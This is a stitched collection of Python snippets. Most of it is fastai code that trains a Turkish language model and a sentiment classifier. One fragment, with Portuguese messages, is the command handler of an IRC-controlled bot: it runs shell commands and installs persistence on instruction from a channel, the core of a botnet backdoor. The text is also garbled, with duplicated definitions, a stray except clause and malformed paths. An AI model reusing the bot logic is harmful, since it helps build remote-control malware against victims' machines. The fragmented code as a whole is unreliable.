def run(): freeze_support() print('loop') PathModel = Path('Path to your pre-trained model') PathCsv = Path('Path to your csv files') tokenizer = Tokenizer(lang='xx') data_lm = TextLMDataBunch.from_csv(PathCsv, csv_name='rest_full.csv',text_cols=0, tokenizer=tokenizer) data_lm.save('data_lm_rest_fn.pkl') data_lm = load_data(PathCsv, 'data_lm_rest_fn.pkl', bs=32) learn = language_model_learner(data_lm, AWD_LSTM, drop_mult=0.3 ) learn.load_pretrained(PathModel'models/model-full-v2.pth',PathModel'full_lm/itos.pkl') learn.freeze() learn.lr_find() learn.recorder.plot(skip_start=15) plt.show() learn.fit_one_cycle(1, 1e-02) learn.save('rest_head_pretrained') learn.unfreeze() learn.fit_one_cycle(10, 1e-03, moms=(0.8, 0.7)) learn.save('rest_lm_fine_tuned') learn.save_encoder('rest_enc_fine_tuned')
def freeze_support(): ''' Check whether this is a fake forked process in a frozen executable. If so then run code specified by commandline and exit. ''' if sys.platform == 'win32' and getattr(sys, 'frozen', False): from multiprocessing.forking import freeze_support freeze_support()
def freeze_support(): """ Check whether this is a fake forked process in a frozen executable. If so then run code specified by commandline and exit. """ if sys.platform == 'win32' and getattr(sys, 'frozen', False): from multiprocessing.forking import freeze_support freeze_support()
def run(): freeze_support() print('loop') PathCsv = Path('Path to your data') data_lm = load_data(PathCsv, 'data_lm_rest_fn.pkl', bs=32) print(data_lm) tokenizer = Tokenizer(lang='xx') data_clas = TextClasDataBunch.from_csv(PathCsv, vocab=data_lm.vocab, csv_name='rest_full_clas.csv', tokenizer=tokenizer) data_clas.save('rest_data_clas.pkl') data_clas = load_data(PathCsv, 'rest_data_clas.pkl', bs=32) learn = text_classifier_learner(data_clas, AWD_LSTM, drop_mult=0.5) learn.load_encoder('rest_enc_fine_tuned') f1_label1 = Fbeta_binary(1, clas=0) f1_label0 = Fbeta_binary(1, clas=1) learn.metrics = [accuracy, f1_label1, f1_label0] learn.freeze() learn.lr_find() learn.recorder.plot() plt.show() print(learn.model) learn.fit_one_cycle(1, 1.45e-01, moms=(0.8, 0.7)) learn.save('rest_first') learn.load('rest_first') learn.freeze_to(-2) learn.fit_one_cycle(1, slice(1e-2 / (2.6**4), 1e-2), moms=(0.8, 0.7)) learn.save('rest_second') learn.load('rest_second') learn.freeze_to(-3) learn.fit_one_cycle(1, slice(5e-3 / (2.6**4), 5e-3), moms=(0.8, 0.7)) learn.save('rest_third') learn.load('rest_third') learn.unfreeze() learn.fit_one_cycle(2, slice(1e-3 / (2.6**4), 1e-3), moms=(0.8, 0.7)) print(learn.predict("Güzel ürün tavsiye ederim.")) print(learn.predict("Kötü")) print(learn.predict("Rezalet ötesi"))
def run(): freeze_support() print('loop') #LM Training PathCsv = Path('Path to your project folder') tokenizer = Tokenizer(lang='xx', n_cpus=4) data_lm_full = (TextList.from_csv(PathCsv, csv_name='fulltrain.csv', cols=0, processor=[TokenizeProcessor(tokenizer=tokenizer), NumericalizeProcessor(max_vocab=60000)]) #Inputs: all the text files in path .split_from_df(col=1) #We may have other temp folders that contain text files so we only keep what's in train and test .label_for_lm() #We want to do a language model so we label accordingly .databunch(bs=32)) data_lm_full.save('full_lm') data_lm_full = TextLMDataBunch.load(PathCsv, 'full_lm', bs=32) print(len(data_lm_full.train_ds.vocab.itos)) data_lm_full.show_batch() learn = language_model_learner(data_lm_full, AWD_LSTM, drop_mult=0.3, callback_fns=ShowGraph) learn.lr_find() learn.recorder.plot(skip_start=0) plt.show() learn.fit_one_cycle(10, 1e-01, moms=(0.8,0.7)) learn.save('model-full-v2') data_lm_full = TextLMDataBunch.load(PathCsv, 'full_lm', bs=32) print(len(data_lm_full.train_ds.vocab.itos)) learn = language_model_learner(data_lm_full, AWD_LSTM) learn.load_pretrained(PathCsv 'models/model-full-v2.pth', PathCsv 'full_lm/itos.pkl') Text = 'Bu köyün özellikleri arasında ' N_WORDS = 20 N_SENTENCES = 2 print("\n".join(learn.predict(Text, N_WORDS, temperature=0.75) for _ in range(N_SENTENCES)))
p = ircMsgClean.split() print(p) comando = p[4:-1] comando = " ".join(comando) print(comando) id = p[-1] except IndexError: msgSend( ircChannel, "[+] Sintaxe [+] use: <shell> <comando> <" + botNick + ">") else: if comando == comando and id == botNick: shell() elif ircMsg.find(str.encode("persistence")) != -1: # Para persistencia try: p = ircMsgClean.split() id = p[4] except IndexError: msgSend(ircChannel, "[+] Sintaxe [+] use: <persistence> <" + botNick + ">") else: if id == botNick: persis() if __name__ == "__main__": freeze_support() main()
def freeze_support(): if sys.platform == 'win32' and getattr(sys, 'frozen', False): from multiprocessing.forking import freeze_support freeze_support()